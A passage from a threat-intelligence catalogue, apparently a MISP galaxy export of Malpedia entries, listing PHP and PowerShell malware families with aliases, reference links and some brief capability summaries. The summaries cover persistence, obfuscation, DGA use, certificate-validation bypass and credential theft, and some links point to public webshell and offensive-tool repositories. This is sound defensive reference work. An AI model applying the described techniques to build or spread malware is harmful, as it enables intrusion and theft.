https://malpedia.caad.fkie.fraunhofer.de/details/php.pas
https://blog.erratasec.com/2016/12/some-notes-on-iocs.html
https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm
https://securelist.com/apt-trends-report-q1-2021/101967/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf
https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity

Prometheus Backdoor

Backdoor written in php

The tag is: *misp-galaxy:malpedia="Prometheus Backdoor"*

Prometheus Backdoor is also known as:

Table 2943. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.prometheus_backdoor
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://blog.group-ib.com/prometheus-tds

PS1Bot

According to Cisco Talos, this is multi-stage malware framework, implemented in PowerShell and C#, that possesses robust functionality, including the ability to deliver follow-on modules including an information stealer, keylogger, screen capture collector and more. It also establishes persistence to continue operations following system reboots. The design of this malware framework appears to

attempt to minimize artifacts left on infected systems by facilitating the delivery and execution of modules in-memory, without requiring them to be written to disk. Due to similarities in the design and implementation with the malware family AHK Bot, we are referring to this PowerShell-based malware as “PS1Bot.”

The tag is: *misp-galaxy:malpedia="PS1Bot"*

PS1Bot is also known as:

Table 2944. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.ps1bot
https://blog.talosintelligence.com/ps1bot-malvertising-campaign/

RedHat Hacker WebShell

The tag is: *misp-galaxy:malpedia="RedHat Hacker WebShell"*

RedHat Hacker WebShell is also known as:

Table 2945. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.redhat_hacker
https://github.com/xl7dev/WebShell/blob/master/Asp/RedHat%20Hacker.asp

php.shin_webshell

A PHP webshell that allows file system management, data exfiltration and command execution.

The tag is: *misp-galaxy:malpedia="php.shin_webshell"*

php.shin_webshell is also known as:

Table 2946. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.shin_webshell
https://github.com/Jenderal92/KC5

WSO

The tag is: *misp-galaxy:malpedia="WSO"*

WSO is also known as:

- Webshell by Orb

Table 2947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.wso
https://securelist.com/energetic-bear-crouching-yeti/85345/
https://www.mandiant.com/resources/cloud-metadata-abuse-unc2903
https://www.aquasec.com/blog/loony-tunables-vulnerability-exploited-by-kinsing/

Silence DDoS

The tag is: *misp-galaxy:malpedia="Silence DDoS"*

Silence DDoS is also known as:

Table 2948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos
https://www.group-ib.com/resources/threat-research/silence.html

BlackSun

Ransomware.

The tag is: *misp-galaxy:malpedia="BlackSun"*

BlackSun is also known as:

Table 2949. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.blacksun
https://blogs.vmware.com/security/2022/01/blacksun-ransomware-the-dark-side-of-powershell.html

BONDUPDATER

The tag is: *misp-galaxy:malpedia="BONDUPDATER"*

BONDUPDATER is also known as:

- Glimpse
- Poison Frog

Table 2950. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/ps1.bondupdater
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://marcoramilli.com/2019/05/02/apt34-glimpse-project/
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/
https://blog.0day.rocks/hacking-back-and-influence-operations-85cd52c1e933
https://ironnet.com/blog/chirp-of-the-poisonfrog/
https://www.netscout.com/blog/asert/tunneling-under-sands
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://nsfocusglobal.com/apt34-event-analysis-report/

CASHY200

The tag is: *misp-galaxy:malpedia="CASHY200"*

CASHY200 is also known as:

Table 2951. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.cashy200
https://unit42.paloaltonetworks.com/atoms/hunter-serpens/
https://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/

COOKBOX

According to CERT-UA, COOKBOX is a PowerShell script that implements the functionality of downloading and executing PowerShell cmdlets. For each affected computer, a unique identifier is calculated using cryptographic transformations (SHA256/MD5 hash functions) based on a combination of computer name and disk serial number, which is transmitted in the “X-Cookie” header of HTTP requests when interacting with the management server. The persistence of the backdoor is ensured by the corresponding key in the Run branch of the operating system (OS) registry, which is created at the stage of the initial infection by a third-party PowerShell script

(including the COOKBOX deployer). As a rule, obfuscation elements are used in the program code: chr-character encoding, character replacement (replace()), base64 conversion, GZIP compression.

The tag is: *misp-galaxy:malpedia="COOKBOX"*

COOKBOX is also known as:

Table 2952. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.cookbox
https://www.cloudflare.com/threat-intelligence/research/report/disrupting-flyingyetis-campaign-targeting-ukrainev/
https://socprime.com/blog/uac-0149-attack-detection-hackers-launch-a-targeted-attack-against-the-armed-forces-of-ukraine-as-cert-ua-reports/
https://cert.gov.ua/article/6278620
https://cert.gov.ua/article/6277849

DarkWisp

According to Trend Micro, DarkWisp is a PowerShell-based backdoor and reconnaissance utility designed for unauthorized system access and intelligence gathering. It enables attackers to exfiltrate sensitive data while maintaining persistent control over the compromised system. The malware collects extensive information about the compromised system to create a detailed profile. It determines whether the user has administrative privileges, checks for membership in a corporate domain, and identifies the presence of cryptocurrency wallets or VPN software by scanning specified directories and applications. It also gathers data about the system's operating environment, including public IP address, geographic location, installed antivirus products, firewall status, and system uptime. This information is compiled into a structured format and transmitted to the C&C server.

The tag is: *misp-galaxy:malpedia="DarkWisp"*

DarkWisp is also known as:

Table 2953. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.dark_wisp
https://www.trendmicro.com/en_us/research/25/c/deep-dive-into-water-gamayun.html

EugenLoader

A loader written in Powershell, usually delivered packaged in MSI/MSIX files.

The tag is: *misp-galaxy:malpedia="EugenLoader"*

EugenLoader is also known as:

- FakeBat
- NUMOZYLOD
- PaykLoader

Table 2954. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.eugenloader
https://esentire-dot-com-assets.s3.amazonaws.com/assets/resourcefiles/eSentire-Unraveling_BatLoader_and_FakeBat.pdf
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs
https://intel471.com/blog/malvertising-surges-to-distribute-malware
https://www.intrinsec.com/wp-content/uploads/2024/11/TLP-CLEAR-PROSPERO-Proton66-Uncovering-the-links-between-bulletproof-networks.pdf
https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Unveiling-NUMOZYLOD-with-Google-Security/ba-p/789551
https://www.recordedfuture.com/research/grayalpha-uses-diverse-infection-vectors-deploy-powernet-loader-netsupport-rat

FlowerPower

The tag is: *misp-galaxy:malpedia="FlowerPower"*

FlowerPower is also known as:

- BoBoStealer

Table 2955. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.flowerpower
https://www.youtube.com/watch?v=rfzmHjZX70s
https://vb2020.vblocalhost.com/uploads/VB2020-46.pdf
https://www.genians.co.kr/en/blog/threat_intelligence/triple-combo
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://vblocalhost.com/uploads/VB2020-46.pdf

https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf

FRat Loader

Loader used to deliver FRat (see family windows.frat)

The tag is: *misp-galaxy:malpedia="FRat Loader"*

FRat Loader is also known as:

Table 2956. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.frat_loader
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/frat.md

FTCODE

The malware ftcode is a ransomware which encrypts files and changes their extension into .FTCODE. It later asks for a ransom in order to release the decryption key, mandatory to recover your files. It is infamous for attacking Italy pretending to be a notorious telecom provider asking for due payments.

The tag is: *misp-galaxy:malpedia="FTCODE"*

FTCODE is also known as:

Table 2957. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode
https://www.certego.net/en/news/ftdecryptor-a-simple-password-based-ftcode-decryptor/
https://blog.rootshell.be/2020/07/14/simple-dga-spotted-in-a-malicious-powershell/
https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html
https://www.certego.net/en/news/malware-tales-ftcode/
https://nakedsecurity.sophos.com/2013/03/05/russian-ransomware-windows-powershell/
https://www.zscaler.com/blogs/research/ftcode-ransomware—new-version-includes-stealing-capabilities
https://isc.sans.edu/diary/Powershell+Backdoor+with+DGA+Capability/29122
https://www.kpn.com/security-blogs/FTCODE-taking-over-a-portion-of-the-botnet.htm
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md

GhostMiner

The tag is: *misp-galaxy:malpedia="GhostMiner"*

GhostMiner is also known as:

Table 2958. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless
https://blog.trendmicro.com/trendlabs-security-intelligence/fileless-cryptocurrency-miner-ghostminer-weaponizes-wmi-objects-kills-other-cryptocurrency-mining-payloads/

GhostWeaver

According to TRAC Labs, the GhostWeaver backdoor not only maintains continuous, authenticated communication with its command-and-control server but also includes functionalities to generate DGA domains (using a fixed-seed algorithm based on the week number and year), deliver additional payloads via remote commands and bypass certificate validation by leveraging a RemoteCertificateValidationCallback that always returns true. Multiple delivered plugins are designed to target sensitive information - including credentials from popular browsers (Brave, Chrome, Firefox, Edge), Outlook data, and cryptocurrency wallets. The Formgrabber plugin includes web injection methods by dynamically manipulating HTML content, modifying JA3 fingerprints via cipher suite reordering, and employing a man-in-the-middle proxy setup to intercept the traffic. GhostWeaver's and plugins' delivery on systems that are not part of an Active Directory domain suggests that attackers are extending their reach beyond typical corporate targets, aligning with a financially motivated agenda that exploits environments with weaker security controls.

The tag is: *misp-galaxy:malpedia="GhostWeaver"*

GhostWeaver is also known as:

Table 2959. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostweaver
https://www.recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting
https://trac-labs.com/dont-ghost-the-socgholish-ghostweaver-backdoor-574154dd9983

HTTP-Shell

The author describes this open source shell as follows. HTTP-Shell is Multiplatform Reverse Shell.

This tool helps you to obtain a shell-like interface on a reverse connection over HTTP. Unlike other reverse shells, the main goal of the tool is to use it in conjunction with Microsoft Dev Tunnels, in order to get a connection as close as possible to a legitimate one.

This shell is not fully interactive, but displays any errors on screen (both Windows and Linux), is capable of uploading and downloading files, has command history, terminal cleanup (even with CTRL+L), automatic reconnection, movement between directories and supports sudo (or sudo su) on Linux-based OS.

The tag is: *misp-galaxy:malpedia="HTTP-Shell"*

HTTP-Shell is also known as:

Table 2960. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.http_shell
https://blog.cluster25.duskrise.com/2024/01/30/russian-apt-opposition
https://github.com/JoelGMSec/HTTP-Shell

JasperLoader

The tag is: *misp-galaxy:malpedia="JasperLoader"*

JasperLoader is also known as:

Table 2961. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.jasperloader
https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html
https://blog.threatstop.com/upgraded-jasperloader-infecting-machines
https://blog.talosintelligence.com/2019/05/sorpresa-jasperloader.html
https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html

Kalambur

According to EclecticIQ, Kalambur is designed to gather local system information, then download a repackaged TOR binary inside a ZIP file and retrieve additional tools from what is likely an attacker-controlled TOR onion site.

The tag is: *misp-galaxy:malpedia="Kalambur"*

Kalambur is also known as:

Table 2962. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.kalambur
https://blog.eclecticiq.com/sandworm-apt-targets-ukrainian-users-with-trojanized-microsoft-kms-activation-tools-in-cyber-espionage-campaigns

Lazyscripter

The tag is: *misp-galaxy:malpedia="Lazyscripter"*

Lazyscripter is also known as:

Table 2963. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lazyscripter
https://github.com/SrujanKumar-K/Blogpost/tree/main/LazyScripter

LightBot

According to Bleeping Computer and Vitali Kremez, LightBot is a compact reconnaissance tool suspected to be used to identify high-value targets for potential follow-up ransomware attacks.

The tag is: *misp-galaxy:malpedia="LightBot"*

LightBot is also known as:

Table 2964. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lightbot
https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/
https://twitter.com/VK_Intel/status/1329511151202349057

Octopus (Powershell)

The author describes Octopus as an "open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S."

It is different from the malware win.octopus written in Delphi and attributed to DustSquad by Kaspersky Labs.

The tag is: *misp-galaxy:malpedia="Octopus (Powershell)"*

Octopus (Powershell) is also known as:

Table 2965. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus
https://github.com/mhaskar/Octopus
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf
https://isc.sans.edu/diary/26918
https://isc.sans.edu/diary/rss/28628

OilRig

The tag is: *misp-galaxy:malpedia="OilRig"*

OilRig is also known as:

Table 2966. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig
https://threatpost.com/oilrig-apt-unique-backdoor/157646/
https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html
https://twitter.com/MJDutch/status/1074820959784321026?s=19

PhonyC2

The tag is: *misp-galaxy:malpedia="PhonyC2"*

PhonyC2 is also known as:

Table 2967. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.phonyc2
https://www.deepinstinct.com/blog/muddyc2go-latest-c2-framework-used-by-iranian-apt-muddywater-spotted-in-israel
https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater
https://www.deepinstinct.com/blog/muddywater-en-able-spear-phishing-with-new-ttps
https://circleid.com/posts/20230824-signs-of-muddywater-developments-found-in-the-dns

POSHSPY

The tag is: *misp-galaxy:malpedia="POSHSPY"*

POSHSPY is also known as:

Table 2968. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy
https://github.com/matthewdunwoody/POSHSPY
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

PowerBrace

The tag is: *misp-galaxy:malpedia="PowerBrace"*

PowerBrace is also known as:

Table 2969. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerbrace
https://technical.nttsecurity.com/post/102fnog/targeted-trickbot-activity-drops-powerbrace-backdoor
https://norfolkinfosec.com/osint-reporting-on-dprk-and-ta505-overlap/

PowerHarbor

PowerHarbor is a modular PowerShell-based malware that consists of various modules. The primary module maintains constant communication with the C2 server, executing and deleting additional modules received from it. Currently, the communication with the C2 server is encrypted using RSA encryption and hardcoded key data. Moreover, the main module incorporates virtual machine (VM) detection capabilities. The StealData module employs the Invoke-Stealer function as its core, enabling the theft of system information, browser-stored credentials, cryptocurrency wallet details, and credentials for various applications like Telegram, FileZilla, and WinSCP.

The tag is: *misp-galaxy:malpedia="PowerHarbor"*

PowerHarbor is also known as:

Table 2970. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerharbor
https://insight-jp.nttsecurity.com/post/102ignh/steelcloverpowerharbor

PowerNet

According to Insikt Group, PowerNet is a custom Powershell loader that decompresses and executes

NetSupport RAT.

The tag is: *misp-galaxy:malpedia="PowerNet"*

PowerNet is also known as:

Table 2971. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powernet
https://go.recordedfuture.com/hubfs/reports/cta-2025-0613.pdf

PowerPepper

The tag is: *misp-galaxy:malpedia="PowerPepper"*

PowerPepper is also known as:

Table 2972. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpepper
https://twitter.com/InQuest/status/1285295975347650562
https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/

POWERPIPE

The tag is: *misp-galaxy:malpedia="POWERPIPE"*

POWERPIPE is also known as:

Table 2973. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

POWERPLANT

This powershell code is a PowerShell written backdoor used by FIN7. Regarding to Mandiant that is was revealed to be a "vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server."

The tag is: *misp-galaxy:malpedia="POWERPLANT"*

POWERPLANT is also known as:

Table 2974. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerplant
https://www.mandiant.com/resources/evolution-of-fin7

powershell_web_backdoor

The tag is: *misp-galaxy:malpedia="powershell_web_backdoor"*

powershell_web_backdoor is also known as:

Table 2975. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershell_web_backdoor
https://github.com/chrisjd20/powershell_web_backdoor

PowerShortShell

The tag is: *misp-galaxy:malpedia="PowerShortShell"*

PowerShortShell is also known as:

Table 2976. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershortshell
https://www.safebreach.com/blog/2021/new-powershortshell-stealer-exploits-recent-microsoft-mshtml-vulnerability-to-spy-on-farsi-speakers/

PowerShower

The tag is: *misp-galaxy:malpedia="PowerShower"*

PowerShower is also known as:

Table 2977. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershower
https://unit42.paloaltonetworks.com/atoms/clean-ursa/
https://securelist.com/recent-cloud-atlas-activity/92016

https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/
https://securelist.com/recent-cloud-atlas-activity/92016/
https://unit42.paloaltonetworks.com/atoms/clean-ursa
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability
https://attack.mitre.org/groups/G0100
https://attack.mitre.org/groups/G0100/

POWERSOURCE

POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.

The tag is: *misp-galaxy:malpedia="POWERSOURCE"*

POWERSOURCE is also known as:

Table 2978. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html

PowerSpritz

The tag is: *misp-galaxy:malpedia="PowerSpritz"*

PowerSpritz is also known as:

Table 2979. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerspritz
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

POWERSTAR

The tag is: *misp-galaxy:malpedia="POWERSTAR"*

POWERSTAR is also known as:

Table 2980. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstar
https://www.volexity.com/blog/2023/06/28/charming-kitten-updates-powerstar-with-an-interplanetary-twist/

POWERSTATS

POWERSTATS is a backdoor written in powershell. It has the ability to disable Microsoft Office Protected View, fingerprint the victim and receive commands.

The tag is: *misp-galaxy:malpedia="POWERSTATS"*

POWERSTATS is also known as:

- Valyria

Table 2981. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats
https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/
https://mp.weixin.qq.com/s/NN_iRvwA6yOHFS9Z3A0RBA
https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/
http://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://sec0wn.blogspot.com/2018/05/clearing-muddywater-analysis-of-new.html
https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/
https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater
https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/
https://marcoramilli.com/2020/01/15/iranian-threat-actors-preliminary-analysis/
https://blog.prevailion.com/2020/01/summer-mirage.html
https://www.secureworks.com/research/threat-profiles/cobalt-ulster

https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf
https://www.group-ib.com/blog/muddywater/
https://research.checkpoint.com/2019/the-muddy-waters-of-apt-attacks/
https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://securelist.com/apt-trends-report-q2-2019/91897/
https://sec0wn.blogspot.com/2017/10/continued-activity-targeting-middle-east.html
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html
https://sec0wn.blogspot.com/2018/03/a-quick-dip-into-muddywaters-recent.html
https://web.archive.org/web/20180807105755/https://www.sekoia.fr/blog/falling-on-muddywater/
https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/
https://sec0wn.blogspot.com/2018/02/burping-on-muddywater.html
https://unit42.paloaltonetworks.com/atoms/boggyserpens/
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html

POWERTON

The tag is: *misp-galaxy:malpedia="POWERTON"*

POWERTON is also known as:

Table 2982. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerton
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/
https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://norfolkinfosec.com/apt33-powershell-malware/
https://www.symantec.com/security-center/writeup/2019-062513-4935-99

https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html

POWERTRASH

This PowerShell written malware is an in-memory dropper used by FIN7 to execute the included/embedded payload. According to Mandiant's blog article: "POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub."

The tag is: *misp-galaxy:malpedia="POWERTRASH"*

POWERTRASH is also known as:

Table 2983. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powertrash
https://www.recordedfuture.com/research/grayalpha-uses-diverse-infection-vectors-deploy-powernet-loader-netsupport-rat
https://www.mandiant.com/resources/blog/evolution-of-fin7
https://www.mandiant.com/resources/evolution-of-fin7
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs

PowerWare

The tag is: *misp-galaxy:malpedia="PowerWare"*

PowerWare is also known as:

Table 2984. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerware
https://blog.cylance.com/ransomware-update-todays-bountiful-cornucopia-of-extortive-threats

PowerZure

PowerZure is a PowerShell project created to assess and exploit resources within Microsoft's cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.

The tag is: *misp-galaxy:malpedia="PowerZure"*

PowerZure is also known as:

Table 2985. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerzure
https://github.com/hausec/PowerZure

PowerMagic

The tag is: *misp-galaxy:malpedia="PowerMagic"*

PowerMagic is also known as:

Table 2986. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.power_magic
https://www.malwarebytes.com/blog/threat-intelligence/2023/05/redstinger
https://securelist.com/cloudwizard-apt/109722/
https://securelist.com/bad-magic-apt/109087/?s=31
https://securelist.com/bad-magic-apt/109087/

PowerRAT

The tag is: *misp-galaxy:malpedia="PowerRAT"*

PowerRAT is also known as:

Table 2987. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.power_rat
https://blog.talosintelligence.com/gophish-powerrat-dcrat/

PowGoop

DLL loader that decrypts and runs a powershell-based downloader.

The tag is: *misp-galaxy:malpedia="PowGoop"*

PowGoop is also known as:

Table 2988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop

https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/
https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east
https://unit42.paloaltonetworks.com/thanos-ransomware/
https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html
https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a

POWRUNER

The tag is: *misp-galaxy:malpedia="POWRUNER"*

POWRUNER is also known as:

Table 2989. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

PresFox

The family is adding a fake root certificate authority, sets a proxy.pac-url for local browsers and redirects infected users to fake banking applications (currently targeting Poland). Based on information shared, it seems the PowerShell script is dropped by an exploit kit.

The tag is: *misp-galaxy:malpedia="PresFox"*

PresFox is also known as:

Table 2990. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.presfox
https://twitter.com/kafeine/status/1092000556598677504

PteroGraphin

The tag is: *misp-galaxy:malpedia="PteroGraphin"*

PteroGraphin is also known as:

Table 2991. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ptero_graphin
https://blog.synapticsystems.de/inside-gamaredon-2025-zero-click-espionage-at-scale/
https://www.welivesecurity.com/en/eset-research/gamaredon-x-turla-collab/

QUADAGENT

The tag is: *misp-galaxy:malpedia="QUADAGENT"*

QUADAGENT is also known as:

Table 2992. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent
https://youtu.be/pBDu8EGWRC4?t=2492
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html

RandomQuery (Powershell)

A set of powershell scripts, using services like Google Docs and Dropbox as C2.

The tag is: *misp-galaxy:malpedia="RandomQuery (Powershell)"*

RandomQuery (Powershell) is also known as:

Table 2993. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.randomquery
https://www.securonix.com/blog/securonix-threat-research-security-advisory-new-deepgosu-attack-campaign/
https://www.securonix.com/blog/analyzing-deepdrive-north-korean-threat-actors-observed-exploiting-trusted-platforms-for-targeted-attacks/
https://s2w.inc/en/resource/detail/920

RMOT

According to Trellix, this is a first-stage, powershell-based malware dropped via Excel/VBS. It is able to establish a foothold and exfiltrate data. Targets identified include hotels in Macao.

The tag is: *misp-galaxy:malpedia="RMOT"*

RMOT is also known as:

